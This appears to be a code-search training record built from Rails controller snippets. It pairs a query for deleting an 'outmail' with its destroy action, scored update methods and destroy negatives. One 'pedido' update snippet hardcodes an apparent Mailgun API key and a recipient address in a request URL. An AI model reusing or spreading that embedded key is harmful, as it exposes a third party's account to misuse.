"def update\n\n respond_to do |format|\n if @email.update_attributes(params[:email])\n flash[:notice] = 'Email was successfully updated.'\n format.html { redirect_to(@email) }\n format.mobile { redirect_to profile_kontact_kontact_information_plural_fields_path(@profile, @kontact)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.mobile { render :action => \"edit\" }\n format.xml { render :xml => @email.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entry_mail_type = EntryMailType.find(params[:id])\n \n respond_to do |format|\n if @entry_mail_type.update_attributes(params[:entry_mail_type])\n format.html { redirect_to @entry_mail_type, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @entry_mail_type.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @entry_mail_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n if @outside_request.update_attributes(params[:outside_request])\n format.html { redirect_to @outside_request, notice: 'Outside request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \\\"edit\\\" }\n format.json { render json: @outside_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @out.update(out_params)\n format.html { redirect_to @out, notice: 'Out was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @inbox = Inbox.find(params[:id])\n\n respond_to do |format|\n if @inbox.update_attributes(params[:inbox])\n format.html { redirect_to @inbox, notice: 'Inbox was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_mail = UserMail.find(params[:id])\n\n respond_to do |format|\n if @user_mail.update_attributes(params[:user_mail])\n format.html { redirect_to(@user_mail, :notice => 'User mail was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_mail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_send_mail = UserSendMail.find(params[:id])\n\n respond_to do |format|\n if @user_send_mail.update_attributes(params[:user_send_mail])\n format.html { redirect_to @user_send_mail, notice: 'User send mail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_send_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mail_list.update(mail_list_params)\n format.html { redirect_to [:admin, @mail_list], notice: 'Mail list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mail_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email = Email.find(params[:id])\n if @email.update_attributes(params[:event_email])\n respond_with @email\n else\n respond_with @email, status: :unprocessable_entity\n end\n end",
"def update\n @email = EventEmail.find(params[:id])\n if @email.update_attributes(params[:event_email])\n head :no_content\n else\n respond_with @email, status: :unprocessable_entity\n end\n end",
"def update_email_notification\n service_response = ClientManagement::UpdateEmailNotificationSetting.new(params).perform\n render_api_response(service_response)\n end",
"def update\n @mail_tmp = MailTmp.find(params[:id])\n\n respond_to do |format|\n if @mail_tmp.update_attributes(params[:mail_tmp])\n format.html { redirect_to \"/home/email\", notice: '邮件模版修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail_tmp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @newemail.update(newemail_params)\n format.html { redirect_to @newemail, notice: 'Newemail was successfully updated.' }\n format.json { render :show, status: :ok, location: @newemail }\n else\n format.html { render :edit }\n format.json { render json: @newemail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n\n if @appointment.update(appointment_params)\n format.html { redirect_to @appointment, notice: 'Appointment was successfully updated.' }\n format.json { render :show, status: :ok, location: @appointment }\n AppointmentMailer.success_email(email_address: @appointment.email_address).deliver_now\n AppointmentMailer.repair_appointment_email(appointment: @appointment, ip: request.remote_ip).deliver_now\n\n else\n format.html { render :edit }\n format.json { render json: @appointment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @movmail = Movmail.find(params[:id])\n\n respond_to do |format|\n if @movmail.update_attributes(params[:movmail])\n format.html { redirect_to @movmail, notice: 'Movmail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movmail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @out.update(out_params)\n format.json { render :show, status: :ok, location: @out }\n else\n format.json { render json: @out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @message_out.update(message_out_params)\n format.html { redirect_to @message_out, notice: 'Message out was successfully updated.' }\n format.json { render :show, status: :ok, location: @message_out }\n else\n format.html { render :edit }\n format.json { render json: @message_out.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_update(options = {})\n options[:id] ||= @phone.id\n options[:phone] ||= @attributes\n\n # options[:email][@email.id.to_s] = @attributes\n put :update,options\n end",
"def update\n @inbound_email = InboundEmail.find(params[:id])\n\n respond_to do |format|\n if @inbound_email.update_attributes(params[:inbound_email])\n format.html { redirect_to(@inbound_email, :notice => 'Inbound email was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inbound_email.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_outmail\n @outmail = Outmail.find(params[:id])\n end",
"def update\n @dataload_email = DataloadEmail.find(params[:id])\n\n respond_to do |format|\n if @dataload_email.update_attributes(params[:dataload_email])\n format.html { redirect_to @dataload_email, notice: 'Dataload email was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dataload_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @receive_email.update(receive_email_params)\n format.html { redirect_to @receive_email, notice: 'Receive email was successfully updated.' }\n format.json { render :show, status: :ok, location: @receive_email }\n else\n format.html { render :edit }\n format.json { render json: @receive_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mailfetch = Mailfetch.find(params[:id])\n\n respond_to do |format|\n if @mailfetch.update_attributes(params[:mailfetch])\n flash[:notice] = 'Mailfetch was successfully updated.'\n format.html { redirect_to(@mailfetch) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mailfetch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_email_with_http_info(id, email, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EmailsApi.update_email ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling EmailsApi.update_email\"\n end\n # verify the required parameter 'email' is set\n if @api_client.config.client_side_validation && email.nil?\n fail ArgumentError, \"Missing the required parameter 'email' when calling EmailsApi.update_email\"\n end\n # resource path\n local_var_path = '/emails/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(email)\n\n # return_type\n return_type = opts[:debug_return_type] || 'Email'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['x_auth_token']\n\n new_options = opts.merge(\n :operation => :\"EmailsApi.update_email\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailsApi#update_email\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @mail_server = MailServer.find(params[:id])\n\n respond_to do |format|\n if @mail_server.update_attributes(params[:mail_server])\n format.html { redirect_to(@mail_server, :notice => 'Mail server was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mail_server.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mailrecord.update(mailrecord_params)\n format.html { redirect_to @mailrecord, notice: 'Mailrecord was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mailrecord.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @massmail.update(massmail_params)\n format.html { redirect_to @massmail, notice: 'Massmail was successfully updated.' }\n format.json { render :show, status: :ok, location: @massmail }\n else\n format.html { render :edit }\n format.json { render json: @massmail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @private_message.user_from_id = current_user.id\n if @private_message.update(private_message_params)\n format.html { redirect_to \"/pm/#{request.fullpath.include?('outbox')?'out':'in'}box/#{@private_message.id}.html\", notice: I18n.t('Private message was successfully updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @private_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mail_template = MailTemplate.find(params[:id])\n\n respond_to do |format|\n if @mail_template.update_attributes(params[:mail_template])\n format.html { redirect_to @mail_template, notice: t(:successfully_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mail_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_email.update(user_email_params)\n format.html { redirect_to @user_email, notice: 'User email was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_email }\n else\n format.html { render :edit }\n format.json { render json: @user_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mail_context.update(mail_context_params)\n format.html { redirect_to @mail_context, notice: 'Mail context was successfully updated.' }\n format.json { render :show, status: :ok, location: @mail_context }\n else\n format.html { render :edit }\n format.json { render json: @mail_context.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email_export.update(email_export_params)\n format.html { redirect_to @email_export, notice: 'Email export was successfully updated.' }\n format.json { render :show, status: :ok, location: @email_export }\n else\n format.html { render :edit }\n format.json { render json: @email_export.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inbox.update(inbox_params)\n format.html { redirect_to @inbox, notice: 'Inbox was successfully updated.' }\n format.json { render :show, status: :ok, location: @inbox }\n else\n format.html { render :edit }\n format.json { render json: @inbox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @views_email = ViewsEmail.find(params[:id])\n\n respond_to do |format|\n if @views_email.update_attributes(params[:views_email])\n format.html { redirect_to(@views_email, :notice => 'Views email was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @views_email.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_customer_email.update_attributes(params[:admin_customer_email])\n format.html { redirect_to @admin_customer_email, notice: 'Email was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_customer_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @maillot.update(maillot_params)\n format.html { redirect_to @maillot, notice: 'Maillot was successfully updated.' }\n format.json { render :show, status: :ok, location: @maillot }\n else\n format.html { render :edit }\n format.json { render json: @maillot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @default_email_template.update(default_email_template_params)\n format.html { redirect_to @default_email_template, notice: 'Default email template was successfully updated.' }\n format.json { render :show, status: :ok, location: @default_email_template }\n else\n format.html { render :edit }\n format.json { render json: @default_email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email_preference.update(email_preference_params)\n format.html { redirect_to @email_preference, notice: 'Email preference was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @email_preference.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email = DirectEmail.find(params[:id])\n if @email.update_attributes(params[:direct_email])\n head :no_content\n else\n respond_with @email, status: :unprocessable_entity\n end\n end",
"def update\n @mail = Mail.find(params[:id])\n\n respond_to do |format|\n if @mail.update_attributes(params[:mail])\n flash[:notice] = 'Mensagem salva com sucesso.'\n format.html { redirect_to(@mail) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mail.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @productos = Car.where(:pedidoID => params[:id])\n respond_to do |format| \n if @pedido.update(pedido_params)\n \n format.html { redirect_to \"/\", notice: 'Pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedido }\n RestClient.post \"https://api:key-e7d79c66e74391fdf48b657624f23ddc\"\\\n \"@api.mailgun.net/v3/sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org/messages\",\n :from => \"Sistema de Pedidos <mailgun@sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org>\",\n #:to => \"proteina@sinergroup.com.mx\",\n :to => \"proteina@sinergroup.com.mx\",\n :subject => \"Solicitud de Pedido\",\n :html => (render_to_string(template: \"../views/pedidos/email\")).to_str\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mailing = Mailing.find(params[:id])\n params[:user_id] = current_user.id\n respond_to do |format|\n if @mailing.update_attributes(params[:mailing])\n format.html { redirect_to @mailing, notice: 'Mailing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mailing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mailtemplate.update(mailtemplate_params)\n format.html { redirect_to @mailtemplate, notice: 'Šablóna bola úspešne zmenená.' }\n format.json { render :show, status: :ok, location: @mailtemplate }\n else\n format.html { render :edit }\n format.json { render json: @mailtemplate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cliente_email.update(cliente_email_params)\n format.html { redirect_to @cliente_email, notice: 'Cliente email was successfully updated.' }\n format.json { render :show, status: :ok, location: @cliente_email }\n else\n format.html { render :edit }\n format.json { render json: @cliente_email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email_template = EmailTemplate.find(params[:id])\n\n respond_to do |format|\n if @email_template.update_attributes(params[:email_template])\n format.html { redirect_to email_templates_path, notice: 'Email template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:newsletter][:subcontact_ids] ||= []\n params[:newsletter][:email_ids] ||= []\n @newsletter = Newsletter.find(params[:id])\n\n #respond_to do |format|\n # if @newsletter.update_attributes(params[:newsletter])\n # format.html { redirect_to @newsletter, :notice => 'Newsletter was successfully updated.' }\n # format.json { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @newsletter.errors, :status => :unprocessable_entity }\n # end\n #end\n if @newsletter.update_attributes(params[:newsletter]) \n params.keys.each do |k|\n\t\tset_params_newsletter(k)\t\n\tend\t\n else\n\t flash[:notice] = t(\"newsletters.update.notice_failure\")\n\t render :edit \n end\n\n #redirect_to(:back)\n end"
] |
[
"0.6490116",
"0.6359001",
"0.6267009",
"0.61628485",
"0.61537343",
"0.6149882",
"0.6140833",
"0.61353207",
"0.6077239",
"0.60719633",
"0.60473126",
"0.6039272",
"0.6033884",
"0.6032661",
"0.6022152",
"0.6011104",
"0.6011002",
"0.5973488",
"0.59649724",
"0.59647995",
"0.5955358",
"0.59470236",
"0.5943147",
"0.5931365",
"0.59290105",
"0.5928772",
"0.59224033",
"0.5920231",
"0.59048796",
"0.59016985",
"0.58899176",
"0.58899176",
"0.58899176",
"0.58899176",
"0.58899176",
"0.58899176",
"0.58899176",
"0.5882326",
"0.5877346",
"0.5874895",
"0.5861547",
"0.58554804",
"0.5843714",
"0.5840516",
"0.58373356",
"0.58373356",
"0.5836636",
"0.5819281",
"0.58122104",
"0.58110684",
"0.57710993",
"0.5768085",
"0.5749508",
"0.5747509",
"0.5744235",
"0.5740133",
"0.57347697",
"0.5730285",
"0.5729501",
"0.57073784",
"0.57050997",
"0.5699937",
"0.5685448",
"0.5677943",
"0.5677175",
"0.56718856",
"0.56704277",
"0.5664332",
"0.56623626",
"0.564353",
"0.56393594",
"0.56299824",
"0.562787",
"0.56273556",
"0.5615541",
"0.56138647",
"0.56127465",
"0.56126994",
"0.561047",
"0.5600326",
"0.5596774",
"0.5586189",
"0.5582297",
"0.55815357",
"0.557521",
"0.55710644",
"0.5561965",
"0.55615413",
"0.55614686",
"0.55591697",
"0.5554225",
"0.5551963",
"0.5546623",
"0.5540321",
"0.5522835",
"0.5519687",
"0.5518314",
"0.5510797",
"0.5506583",
"0.5496151"
] |
0.70983607
|
0
|
DELETE /outmails/1 DELETE /outmails/1.json
|
def destroy
@outmail.destroy
respond_to do |format|
format.html { redirect_to outmails_url, notice: 'Outmail was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @mail.destroy\n respond_to do |format|\n format.html { redirect_to mails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ourmail.destroy\n respond_to do |format|\n format.html { redirect_to ourmails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_mail = MyMail.find(params[:id])\n @my_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to my_mails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @inform_mail.destroy\n respond_to do |format|\n format.html { redirect_to inform_mails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usermail = Usermail.find(params[:id])\n @usermail.destroy\n\n respond_to do |format|\n format.html { redirect_to usermails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @users_mail = UsersMail.find(params[:id])\n @users_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to users_mails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inform_mail = InformMail.find(params[:id])\n @inform_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to inform_mails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail_item.destroy\n respond_to do |format|\n format.html { redirect_to mail_items_url, notice: '删除成功.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email = @user.emails.find(params[:id])\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to emails_url }\n format.json { head :no_content }\n end\n end",
"def delete(address)\n \tMailgun.submit :delete, list_url(address)\n end",
"def destroy\n @mail_tmp = MailTmp.find(params[:id])\n @mail_tmp.destroy\n\n respond_to do |format|\n format.html { redirect_to mail_tmps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataload_email = DataloadEmail.find(params[:id])\n @dataload_email.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail_item = MailItem.find(params[:id])\n @mail_item.destroy\n\n respond_to do |format|\n format.html { redirect_to mail_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n result = access_token.delete(\"/api/v1/emails/#{params[:id]}\")\n display_api_response( result )\n respond_with(\"\",:location => :back)\n end",
"def destroy\n @usermail.destroy\n respond_to do |format|\n format.html { redirect_to usermails_url, notice: 'Usermail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail_item.destroy\n respond_to do |format|\n format.html { redirect_to mail_items_url, notice: 'Mail item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry_mail = EntryMail.find(params[:id])\n @entry_mail.destroy\n \n respond_to do |format|\n format.html { redirect_to entry_mails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gee_mail.destroy\n respond_to do |format|\n format.html { redirect_to gee_mails_url, notice: 'Gee mail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_email = ServiceEmail.find(params[:id])\n @service_email.destroy\n\n respond_to do |format|\n format.html { redirect_to service_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @movmail = Movmail.find(params[:id])\n @movmail.destroy\n\n respond_to do |format|\n format.html { redirect_to movmails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dailymail.destroy\n respond_to do |format|\n format.html { redirect_to dailymails_url, notice: 'Dailymail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email = Email.find params[:id]\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail_typ = MailTyp.find(params[:id])\n @mail_typ.destroy\n\n respond_to do |format|\n format.html { redirect_to mail_typs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email = Email.find(params[:id])\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_system_email.destroy\n respond_to do |format|\n format.html { redirect_to admin_system_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_send_mail = UserSendMail.find(params[:id])\n @user_send_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to user_send_mails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailrecord.destroy\n respond_to do |format|\n format.html { redirect_to mailrecords_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_update = EmailUpdate.find(params[:id])\n @email_update.destroy\n\n respond_to do |format|\n format.html { redirect_to email_updates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_mail.destroy\n respond_to do |format|\n format.html { redirect_to raw_mails_url, notice: 'Raw mail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usuarios_email.destroy\n respond_to do |format|\n format.html { redirect_to usuarios_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mail = Mail.find(params[:id])\n @mail.destroy\n\n respond_to do |format|\n format.html { redirect_to(mails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mail = Mail.find(params[:id])\n @mail.destroy\n\n respond_to do |format|\n format.html { redirect_to(mails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @emailu = Emailu.find(params[:id])\n @emailu.destroy\n\n respond_to do |format|\n format.html { redirect_to emailus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @massmail.destroy\n respond_to do |format|\n format.html { redirect_to massmails_url, notice: 'Massmail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request_email.destroy\n respond_to do |format|\n format.html { redirect_to request_emails_url, notice: \"Request email was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_mail = UserMail.find(params[:id])\n @user_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_mails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @email = DirectEmail.find(params[:id])\n @email.destroy\n head :no_content\n end",
"def destroy\n @email = Email.find(params[:id])\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to game_user_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailbox = Mailbox.find(params[:id])\n @mailbox.destroy\n\n respond_to do |format|\n format.html { redirect_to mailboxes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailfetch = Mailfetch.find(params[:id])\n @mailfetch.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailfetches_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @mail_check = MailCheck.find(params[:id])\n @mail_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab: 'mail') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @forgotmail.destroy\n respond_to do |format|\n format.html { redirect_to forgotmails_url, notice: 'Forgotmail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @mail_server = MailServer.find(params[:id])\n @mail_server.destroy\n\n respond_to do |format|\n format.html { redirect_to(mail_servers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mad_mimi_email = MadMimiEmail.find(params[:id])\n @mad_mimi_email.destroy\n\n respond_to do |format|\n format.html { redirect_to mad_mimi_emails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailconfig = Mailconfig.find(params[:id])\n @mailconfig.destroy\n\n respond_to do |format|\n format.html { redirect_to mailconfigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mailtemplate.destroy\n respond_to do |format|\n format.html { redirect_to mailtemplates_url, notice: 'Šablóna bola úspešne zmazaná.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente_email.destroy\n respond_to do |format|\n format.html { redirect_to cliente_emails_url, notice: 'Cliente email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_mailer.destroy\n respond_to do |format|\n format.html { redirect_to customer_mailers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n remove_email_dependencies\n @email.destroy\n respond_to do |format|\n format.html { redirect_to emails_url, notice: 'Email was destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteEntityEmail( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/email\",params)\n end",
"def destroy\n @massmail = Massmail.find(params[:id])\n @massmail.destroy\n\n respond_to do |format|\n format.html { redirect_to(massmails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fundamental_retention_mail = Fundamental::RetentionMail.find(params[:id])\n @fundamental_retention_mail.destroy\n\n respond_to do |format|\n format.html { redirect_to fundamental_retention_mails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to(emails_url) }\n format.mobile { redirect_to profile_kontact_kontact_information_plural_fields_path(@profile, @kontact)}\n format.xml { head :ok }\n end\n end",
"def destroy\n @email = Email.find(params[:id])\n @email.destroy\n head :no_content\n end",
"def destroy\n @emailtemplate.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_refer_email.destroy\n respond_to do |format|\n format.html { redirect_to customer_refer_emails_url, notice: 'Customer refer email was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_customer_email = Admin::Customer::Email.find(params[:id])\n @admin_customer_email.destroy\n respond_to do |format|\n format.html { redirect_to admin_customer_emails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @email = Email.find(params[:id])\n @email.destroy\n\n respond_to do |format|\n format.html { redirect_to(emails_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reachmailgroup = Reachmailgroup.find(params[:id])\n @reachmailgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to reachmailgroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @outlook.destroy\n respond_to do |format|\n format.html { redirect_to outlooks_url, notice: 'Outlook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
